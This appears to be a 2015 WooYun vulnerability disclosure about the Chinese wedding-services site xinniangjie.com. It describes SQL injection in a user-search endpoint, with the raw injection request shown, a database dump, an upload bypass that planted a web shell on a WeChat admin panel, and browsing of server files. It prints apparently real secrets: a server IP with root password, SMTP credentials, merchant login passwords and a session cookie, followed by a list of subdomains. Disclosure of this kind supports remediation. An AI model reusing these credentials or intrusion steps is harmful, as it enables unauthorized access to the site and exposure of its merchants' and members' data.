乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-09-01: 积极联系厂商并且等待厂商认领中,细节不对外公开 2015-10-16: 厂商已经主动忽略漏洞,细节向公众公开
新娘街网站新娘街网站于2008年6月6日上线,是中国领先的综合性婚嫁服务网站。 新娘街网站知名商家注册超过3000余家,包括各大知名婚纱摄影、影楼、婚庆、婚纱礼服、个人写真、钻石珠宝、婚庆用品、婚宴酒店、蜜月旅游商家,已经拥有17万注册个人会员。新娘街网站是新人与商家及时沟通,正确传递意向,优化结婚繁琐步骤的平台。新娘街网站使得准新人筹备婚礼时不再烦恼。
http://bj.xinniangjie.com/search_user/a' 存在注入,通过注射到所有的裤,然后登陆其中一个微信管理业务系统,突破js上传拿到shell。通过长时间查看发现很多生产信息
GET /search_user/aaa' HTTP/1.1Host: shop.xinniangjie.comAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.122 Safari/537.36 SE 2.X MetaSr 1.0Referer: http://shop.xinniangjie.com/125838'Accept-Encoding: gzip,deflate,sdchAccept-Language: zh-CN,zh;q=0.8Cookie: PHPSESSID=0jg186ar3o46v9b0lopd8e00a4; myCityId=1; myCityName=%E5%8C%97%E4%BA%AC; myCityPy=bj; Hm_lvt_5f7aae24faccd077b5a2427918b9fc64=1441068550; Hm_lpvt_5f7aae24faccd077b5a2427918b9fc64=1441068744
这里突破上传
http://weixin.28xn.com/upload/2.php
9635789
证明权限
主站部分数据量
所有商户资料和信息都可以列出来,或者拿到密码去登录下,通过翻目录还得到一些生产信息
/usr/local/mysql 3306(service mysqld restart)/usr/local/nginx/sbin/nginx 80/usr/local/php/sbin/php-fpm 9000/usr/local/memcached/bin/start.sh start 11211124.193.217.222root账号: 用户名root密码 deep@coo#1013netstat -tlpn工程和数据库数据放在/data/www /data/mysql/usr/localinx/sbininx -s reload重新加载nginxemailTopicEnabled=trueemailReplyEnabled=falseport=25transport=smtpauthEnabled=true[email protected]userName=xinniangjiepassword=xinniangjiehost=smtp.exmail.qq.comemailEnabled=true 个人 [email protected] 密码是123456 商铺 [email protected] 密码是123456 商铺账号:[email protected] PW : 123456
上面的商户账号应该是高权限的,,,要不然不能单独列出来
http://bj.xinniangjie.com 【海外婚礼顶级策划机构 - 北京婚纱摄影|北京婚纱照|北京婚纱 ...】http://www.xinniangjie.com 【婚嫁返现网 订单成交返现金,四重保障金计划_新娘街】http://shop.xinniangjie.com 【【TOP新娘】奢华大拖尾婚纱! 手工钉珠!|TOP新娘婚纱 ...】http://weixin.28xn.com 【微信后台管理系统登录页】http://sy.xinniangjie.com 【沈阳婚纱摄影|沈阳婚纱照|沈阳婚纱摄影哪家好 ...-沈阳新娘街】http://sjz.xinniangjie.com 【闹新房小妙招-石家庄婚纱摄影-石家庄新娘街】http://info.xinniangjie.com 【结婚资讯-新娘街xinniangjie.com】http://zhengzhou.xinniangjie.com 【郑州婚纱摄影-郑州新娘街】http://tj.xinniangjie.com 【新娘嫁衣|天津结婚论坛-天津新娘街】http://puyang.xinniangjie.com 【如何选择婚礼吉日?挑选结婚的黄道吉日需要注意 ...-濮阳新娘街】http://xuchang.xinniangjie.com 【许昌婚纱摄影|许昌婚纱照|许昌婚纱摄影哪家好 ...-许昌新娘街】http://anyang.xinniangjie.com 【结婚论坛|安阳结婚论坛|安阳婚嫁论坛-安阳新娘街】http://jiaozuo.xinniangjie.com 【焦作婚纱摄影|焦作婚纱照|焦作婚纱摄影哪家好 ...-焦作新娘街】http://blog.xinniangjie.com 【xnj616844的博客-北京新娘街】http://xa.xinniangjie.com 【新郎该如何让伴娘开门接走新娘?-灌水八卦-西安新娘街】http://xinxiang.xinniangjie.com 【新乡婚纱摄影|新乡婚纱照|新乡婚纱摄影哪家好 ...-新乡新娘街】http://bd.xinniangjie.com 【保定婚纱摄影|保定婚纱照|保定婚纱摄影哪家好 ...-保定新娘街】http://hebi.xinniangjie.com 【鹤壁婚纱摄影|鹤壁婚纱照|鹤壁婚纱摄影哪家好 ...-鹤壁新娘街】http://smx.xinniangjie.com 【三门峡婚纱摄影|三门峡婚纱照|三门峡婚纱摄影 ...-三门峡新娘街】http://ts.xinniangjie.com 【唐山婚纱摄影|唐山婚纱照|唐山婚纱摄影哪家好 ...-唐山新娘街】http://xingtai.xinniangjie.com 【邢台婚纱摄影|邢台婚纱照|邢台婚纱摄影哪家好 ...-邢台新娘街】http://kf.xinniangjie.com 【开封婚纱摄影|开封婚纱照|开封婚纱摄影哪家好 ...-开封新娘街】http://zjk.xinniangjie.com 【张家口婚纱摄影|张家口婚纱照|张家口婚纱摄影 ...-张家口新娘街】http://ly.xinniangjie.com 【洛阳婚纱摄影|洛阳婚纱照|洛阳婚纱摄影哪家好 ...-洛阳新娘街】http://jn.xinniangjie.com 【聊城市结婚登记|聊城市婚姻登记|聊城市结婚登记处 ...-新娘街】http://cd.xinniangjie.com 【徐芊芊的博客-成都新娘街】http://nb.xinniangjie.com 【宁波CC创意婚纱组合A套|宁波CC创意摄影|婚纱摄影-宁波新娘 ...】http://photo.xinniangjie.com 【复古风_漯河蒙娜丽莎婚纱摄影_婚纱照_结婚美图_新娘街 ...】http://shenzhen.xinniangjie.com 【深圳VAI施华洛婚纱摄影-婚纱摄影-深圳新娘街】http://gz.xinniangjie.com 【根据星座为新人选择婚纱照-婚纱摄影-广州新娘街】http://dl.xinniangjie.com 【新郎,做一个优雅的绅士-灌水八卦-大连新娘街】http://cq.xinniangjie.com 【新人们如何控制婚纱照的预算?-婚纱摄影-重庆新娘街】http://ty.xinniangjie.com 【太原婚纱摄影V摄影新娘结婚回门的传统婚俗盘点-太原婚纱 ...】http://km.xinniangjie.com 【广西婚纱照,广西婚纱摄影,北海施华洛皇室婚纱摄影-婚纱 ...】http://dali.xinniangjie.com 【蜜月旅行海景婚纱照,北海婚纱照,北海施华洛皇室婚纱摄影 ...】http://nn.xinniangjie.com 【海景婚纱照,海边婚纱照,北海施华洛皇室婚纱摄影-婚纱摄影 ...】http://lj.xinniangjie.com 【丽江婚纱摄影|丽江婚纱照|丽江婚纱摄影哪家好 ...-丽江新娘街】http://sh.xinniangjie.com 【周末啤酒纳凉会圆满结束----海伦广场-灌水八卦-上海新娘街】http://sanya.xinniangjie.com 【去拍摄三亚海景婚纱照要规划哪些呢?-婚纱摄影-三亚新娘街】http://gl.xinniangjie.com 【广西婚纱照,广西婚纱摄影,北海施华洛皇室婚纱摄影-婚纱 ...】http://wx.xinniangjie.com 【无锡婚纱摄影-无锡新娘街】
部分受影响业务还有APP和微信未举例。
未能联系到厂商或者厂商积极拒绝
漏洞Rank:15 (WooYun评价)